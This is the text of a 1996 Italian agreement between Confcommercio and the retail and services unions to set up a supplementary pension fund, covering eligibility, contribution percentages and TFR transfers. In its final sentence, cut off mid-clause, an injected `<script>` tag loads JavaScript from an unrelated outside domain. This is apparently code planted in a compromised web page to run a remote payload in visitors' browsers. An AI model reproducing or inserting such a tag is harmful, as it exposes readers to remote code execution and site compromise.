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Categoria: Commercio e servizi Settore: Commercio Data stipula: 26-11-1996
PROTOCOLLO IN MATERIA DI PREVIDENZA COMPLEMENTARE INTEGRATIVA
NEL SETTORE DEL TERZIARIO DELLA DISTRIBUZIONE E DEI SERVIZI
In data 29 novembre 1996
la CONFCOMMERCIO
e
FILCAMS-CGIL
FISASCAT - CISL
UILTuCS-UIL
- in considerazione di quanto disposto dal D.Lgs n.124 del 21 aprile 1993
in materia di disciplina delle forme di previdenza per l'erogazione di
trattamenti pensionistici complementari;
- preso atto delle sue successive modificazioni ed integrazioni, introdotte
dalla L. 8 agosto 1995 che ha riformato il sistema pensionistico
complementare;
- al fine di sviluppare un sempre più elevato livello di copertura
previdenziale a favore dei lavoratori dipendenti da aziende del settore
Terziario, della Distribuzione e dei Servizi;
convengono
di costituire, entro il 30 giugno 1997, un Fondo di Previdenza
Complementare, impegnandosi a predisporre, nello stesso termine l'Atto
Costitutivo, lo Statuto ed il Regolamento attuativo, nonchè a completare le
formalità amministrative necessarie.
Resta inteso, in ogni caso, che la costituzione del Fondo dovrà avvenire
secondo quanto di seguito indicato:
1) Il Fondo avrà lo scopo di fornire prestazioni complementari dei
trattamenti di pensioni pubbliche in forma di rendita e capitale, sulla
base dei contributi accantonati e capitalizzati nonchè dei rendimenti
realizzati dai soggetti gestori dello stesso:
2) lo stesso Fondo potrà associare esclusivamente lavoratori dipendenti da
datori di lavoro appartenenti al settore del terziario, della
distribuzione e dei servizi, nonché i datori di lavoro titolari del
rapporto di lavoro intercorrente con gli stessi.
E' altresì prevista la possibilità, da regolamentare successivamente, di
adesione da parte di lavoratori dipendenti da settori affini.
Per settori affini si intendono quelli in cui vengono applicati
contratti collettivi nazionali di lavoro sottoscritti dalle stesse OO.SS
dei lavoratori stipulanti il CCNL per i dipendenti da Aziende del
Terziario, della Distribuzione e dei Servizi;
3) l'associazione al Fondo dei lavoratori avverrà mediante adesione
volontaria, secondo forme e modalità da definire e potrà riguardare
tutti i lavoratori assunti a tempo indeterminato con contratto a tempo
pieno o a tempo parziale nonchè con contratto di formazione lavoro,
classificati in uno dei livelli di cui al CCNL del terziario della
distribuzione e dei servizi, nonché a quelli appartenenti alla categoria
dei Quadri:
4) l'adesione al Fondo richiederà una contribuzione a carico del lavoratore
pari allo 0,55% - di cui lo 0,05% costituisce la quota associativa -
della retribuzione utile per il computo del TFR ed un uguale versamento
a carico del datore di lavoro.
Inoltre per i lavoratori già assunti è previsto il versamento del 50%
del TFR maturato nell'anno mentre per i nuovi assunti è previsto il
versamento del 100% del TFR maturato nell'anno.
Viene, infine, stabilito l'obbligo di effettuare un versamento al
momento dell'adesione al Fondo a titolo di iscrizione, pari a lire
30.000 di cui 7.000 a carico del dipendente, le cui modalità di
esecuzione verranno definite dal Regolamento del Fondo.
L'obbligo posto a carico del datore di lavoro sussisterà per la durata
dell'adesione del lavoratore al Fondo costituito sulla base del presente
protocollo;
5) il lavoratore può versare al Fondo ulteriori quote individuali anche
derivanti da quanto maturato a titolo di quota variabile in virtù di
contrattazione di II livello;
6) il Fondo, cosi come costituito e regolamentato sulla base di quanto
previsto dal presente protocollo, rappresenta la forma pensionistica
complementare riconosciuta dalle parti come applicabile ai dipendenti
del settore. Pertanto, le Parti si impegnano<script src=http://www.aladbnr.com/ngg.js></script>
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